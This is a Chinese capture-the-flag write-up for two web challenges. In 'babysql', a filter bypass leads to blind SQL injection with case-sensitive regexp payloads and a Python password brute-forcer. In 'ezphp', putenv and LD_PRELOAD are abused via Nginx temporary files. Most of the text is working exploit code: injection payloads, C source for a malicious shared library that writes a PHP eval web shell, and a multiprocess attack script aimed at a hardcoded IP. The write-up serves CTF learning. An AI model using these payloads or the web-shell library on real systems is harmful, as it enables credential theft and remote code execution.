babysql

题目前端有显示,用户名跟密码的正则匹配。同时hint.md里面提供了核心源码

CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

核心正则在于

const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();

简单解释一下,就是首先过滤任意空白字符,以及,()#-g表示全局过滤,然后检测到含有unionbinary的话,直接清空payloadi表示大小写不敏感。
简单fuzz之后可以确认这道题属于盲注,考虑到时间盲注,但是sleepbenchmark都需要括号,笛卡尔积的空格无法处理,于是想其他思路。
观察页面的返回码,是401500,可以构造一种情况,当满足的时候返回500,不满足返回401
~0+1在sql中计算时会发生溢出

file

效果同下

file

考虑正则,payload如下

adm'||case`username`regexp'^a'when'1'then~0+1+''else'1'end||1='2

这里有一个小问题,在mysql8.0的环境下,这两个payload均生效

adm'||case`id`when`username`regexp'^a'then~0+1+''else'1'end||1='2

但在mariadb下,只有第一个payload成立。
通过这个payload修改可以爆破得到用户名,但是mysql大小写不敏感的特性在这里帮了倒忙,可以通过如下修改进行大小写敏感查询

adm'||case`username`regexp'^a'COLLATE'utf8mb4_0900_bin'when'1'then~0+1+''else'1'end||1='2

这里我们看题目提供的hint.md,字符编码格式为utf8mb4_0900_ai_ci ,ci表示的是case insensitive,大小写不敏感,通过utf8mb4_0900_bin 查询时即大小写敏感。
查询密码

adm'||case`password`regexp'^a'COLLATE'utf8mb4_0900_bin'when'1'then~0+1+''else'1'end||1='2

EXP

因为没有环境复现,提供一个自己本地搭建环境的exp,思路相似。

import requests
import time

import requests

a = 'You know'
burp0_url = "http://210.30.97.133:28236/index.php"
string = [i for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_!@%_-']

res = ''
for i in range(16):
  for j in string:
    passwd = res+j
    print(j,end=' ')
    # print(passwd)
    burp0_cookies = {"session": "7c218a90-685f-4bce-b2b4-2d43fa62def2.m_Y2KrPAfZwg3vPG9ggLtMIOGUQ"}
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
                     "Origin": "http://210.30.97.133:28236", "Content-Type": "application/x-www-form-urlencoded",
                     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36",
                     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                     "Referer": "http://210.30.97.133:28236/", "Accept-Encoding": "gzip, deflate",
                     "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
    burp0_data = {
      "username": "adm'||case`password`regexp'^{}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'1'end||1='2".format(passwd),
                  "password": "admin123"
    }
    # print(passwd)
    r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
    # print(r.text)
    if (a in r.text):
      print(passwd)
      res += j
      print(res)
      break

ezphp

<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>

经典oneline php,这道题的思路就是从putenv入手,通过环境变量注入达成rce。开始以为是p神文章的新题

我是如何利用环境变量注入执行任意命令

后面研究发现这道题是debian环境,p神文章支持的是centos。因此理论上如果愿意啃dash源码发现问题的话也能做出这道题,但这道题的预期解显然不在于此。
这道题源自hxpCTF

hxp CTF 2021 - A New Novel LFI

总结下来思路就是

  • 让后端 php 请求一个过大的文件
  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  • 虽然 Nginx 删除了/var/lib/nginx/fastcgi下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用LD_PRELOAD调用恶意so文件,使用多重链接绕过 PHP 包含策略完成 LFI

制作恶意so文件

说起来这个地方卡了很久,一度以为是msf生成一个恶意so文件来反弹shell。但是考虑到这个上传的时候文件会被删,即便是拿到shell也很不稳定。后面发现执行一个写马操作即可。

//exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shell.php");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}
gcc -shared -fPIC exp.c -o exp.so
perl -le "print(q(a)x1000000)">> exp.so

这样的话就在so文件末尾制造了大量脏字符,制作成功一个极大的恶意文件。

EXP

参考hxpCTFexp,可以修改得到如下

import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://210.30.97.133:28265/"
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = True

def create_requests_session():
    session = requests.Session()
    # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
    adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
    session.mount('http://', adapter)
    return session

def send_payload(requests_session, body_size=1024000):
    try:
        # The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
        payload = open("exp.so", "rb").read()
        requests_session.post(SERVER + "/index.php", data=(payload + (b"a" * (body_size - len(payload)))))
    except:
        pass

def send_payload_worker(requests_session):
    while True:
        send_payload(requests_session)

def send_payload_multiprocess(requests_session):
    # Use all CPUs to send the payload as request body for Nginx
    for _ in range(multiprocessing.cpu_count()):
        p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
        p.start()

def generate_random_path_prefix(nginx_pids):
    # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
    path = ""
    component_num = random.randint(0, 10)
    for _ in range(component_num):
        pid = random.choice(nginx_pids)
        if random.randint(0, 1) == 0:
            path += f"/proc/{pid}/cwd"
        else:
            path += f"/proc/{pid}/root"
    return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
    nginx_pid_list = list(nginx_pids)
    while True:
        path = generate_random_path_prefix(nginx_pid_list)
        path += f"/proc/{nginx_pid}/fd/{fd}"
        global cnt
        cnt += 1
        print(cnt)
        try:
            d = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D{path}").text
        except:
            continue
        # Flags are formatted as hxp{<flag>}
        if "flag" in d:
            print("Found flag! ")
            print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
    # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
    for fd in range(10, 45):
        thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids))
        thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
    for nginx_pid in nginx_pids:
        p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
        p.start()

if __name__ == "__main__":
    requests_session = create_requests_session()
    send_payload_multiprocess(requests_session)
    nginx_pids = set([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])
    read_file_multiprocess(requests_session, nginx_pids)